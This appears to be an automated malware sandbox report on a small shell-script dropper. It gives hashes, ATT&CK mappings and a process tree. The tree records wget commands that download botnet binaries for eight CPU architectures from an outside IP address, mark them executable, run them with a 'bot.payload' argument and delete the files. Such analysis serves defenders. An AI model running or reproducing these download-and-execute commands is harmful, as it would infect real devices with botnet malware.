03d0cfae6ac54701c201673ecbdef024176f54536e38fc773a2ff7fbe7ea071a

Analysis

max time kernel
8s
max time network
8s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
27/10/2026, 08:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
run.sh
Size 748B
Sample261027-khpp2scw9p
SHA256 03d0cfae6ac54701c201673ecbdef024176f54536e38fc773a2ff7fbe7ea071a
MD5 0ccf8c0fc7b4f81d3c7e7d3046c65d2f
SHA1 f85e15f78974309df1d18bbfb2ec47db357d2e97
SHA512 d47a94ecdaab03d98c14ad1f6bc6b33ee17c6887a5ef46bb0a70ca1d4407b64ab65b474b2d25ac4c6f9cf3eedef1d7e9bc6d1d92761035b13040ed79c9da8b28
TLSH
T14B0194AB65B0AC3068A9CA3CFE9786B0104B142768042909709F6E04EF2CE4CF2A2656
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod
755	chmod
765	chmod
774	chmod
783	chmod
792	chmod
801	chmod
810	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/95eliq	742	run.sh
/tmp/4zuofe	756	run.sh
/tmp/1gapvq	766	run.sh
/tmp/rib7ch	775	run.sh
/tmp/bafpni	784	run.sh
/tmp/gi4jfw	793	run.sh
/tmp/217vkj	802	run.sh
/tmp/m6uzsf	811	run.sh

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
726	wget
750	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/1gapvq	wget
File opened for modification	/tmp/rib7ch	wget
File opened for modification	/tmp/bafpni	wget
File opened for modification	/tmp/gi4jfw	wget
File opened for modification	/tmp/217vkj	wget
File opened for modification	/tmp/m6uzsf	wget
File opened for modification	/tmp/95eliq	wget
File opened for modification	/tmp/4zuofe	wget

/tmp/run.sh
/tmp/run.sh
1⤵
- Executes dropped EXE
PID:716
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:721
- /usr/bin/head
  head -c 6
  2⤵
  PID:723
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:722
- /usr/bin/wget
  wget -q http://45.198.224.43/mips -O 95eliq
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/chmod
  chmod +x 95eliq
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /bin/rm
  rm -f 95eliq
  2⤵
  PID:743
- /tmp/95eliq
  ./95eliq bot.payload
  2⤵
  PID:742
- /usr/bin/head
  head -c 6
  2⤵
  PID:748
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:747
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:746
- /usr/bin/wget
  wget -q http://45.198.224.43/mipsel -O 4zuofe
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod +x 4zuofe
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /bin/rm
  rm -f 4zuofe
  2⤵
  PID:757
- /tmp/4zuofe
  ./4zuofe bot.payload
  2⤵
  PID:756
- /bin/sh
  /bin/sh ./4zuofe bot.payload
  2⤵
  PID:756
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:760
- /usr/bin/head
  head -c 6
  2⤵
  PID:762
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:761
- /usr/bin/wget
  wget -q http://45.198.224.43/x86 -O 1gapvq
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x 1gapvq
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /bin/rm
  rm -f 1gapvq
  2⤵
  PID:767
- /tmp/1gapvq
  ./1gapvq bot.payload
  2⤵
  PID:766
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:770
- /usr/bin/head
  head -c 6
  2⤵
  PID:772
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:771
- /usr/bin/wget
  wget -q http://45.198.224.43/armv7l -O rib7ch
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod +x rib7ch
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /bin/rm
  rm -f rib7ch
  2⤵
  PID:776
- /tmp/rib7ch
  ./rib7ch bot.payload
  2⤵
  PID:775
- /bin/sh
  /bin/sh ./rib7ch bot.payload
  2⤵
  PID:775
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:779
- /usr/bin/head
  head -c 6
  2⤵
  PID:781
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:780
- /usr/bin/wget
  wget -q http://45.198.224.43/armv6l -O bafpni
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod +x bafpni
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /bin/rm
  rm -f bafpni
  2⤵
  PID:785
- /tmp/bafpni
  ./bafpni bot.payload
  2⤵
  PID:784
- /bin/sh
  /bin/sh ./bafpni bot.payload
  2⤵
  PID:784
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:788
- /usr/bin/head
  head -c 6
  2⤵
  PID:790
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:789
- /usr/bin/wget
  wget -q http://45.198.224.43/armv5l -O gi4jfw
  2⤵
  - Writes file to tmp directory
  PID:791
- /bin/chmod
  chmod +x gi4jfw
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /bin/rm
  rm -f gi4jfw
  2⤵
  PID:794
- /tmp/gi4jfw
  ./gi4jfw bot.payload
  2⤵
  PID:793
- /bin/sh
  /bin/sh ./gi4jfw bot.payload
  2⤵
  PID:793
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:797
- /usr/bin/head
  head -c 6
  2⤵
  PID:799
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:798
- /usr/bin/wget
  wget -q http://45.198.224.43/i686 -O 217vkj
  2⤵
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod +x 217vkj
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /bin/rm
  rm -f 217vkj
  2⤵
  PID:803
- /tmp/217vkj
  ./217vkj bot.payload
  2⤵
  PID:802
- /bin/sh
  /bin/sh ./217vkj bot.payload
  2⤵
  PID:802
- /usr/bin/head
  head /dev/urandom
  2⤵
  PID:806
- /usr/bin/head
  head -c 6
  2⤵
  PID:808
- /usr/bin/tr
  tr -dc a-z0-9
  2⤵
  PID:807
- /usr/bin/wget
  wget -q http://45.198.224.43/ppc64 -O m6uzsf
  2⤵
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod +x m6uzsf
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /bin/rm
  rm -f m6uzsf
  2⤵
  PID:812
- /tmp/m6uzsf
  ./m6uzsf bot.payload
  2⤵
  PID:811
- /bin/sleep
  sleep 2
  2⤵
  PID:815

/bin/rm
rm -f /tmp/run.sh
1⤵
PID:814

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads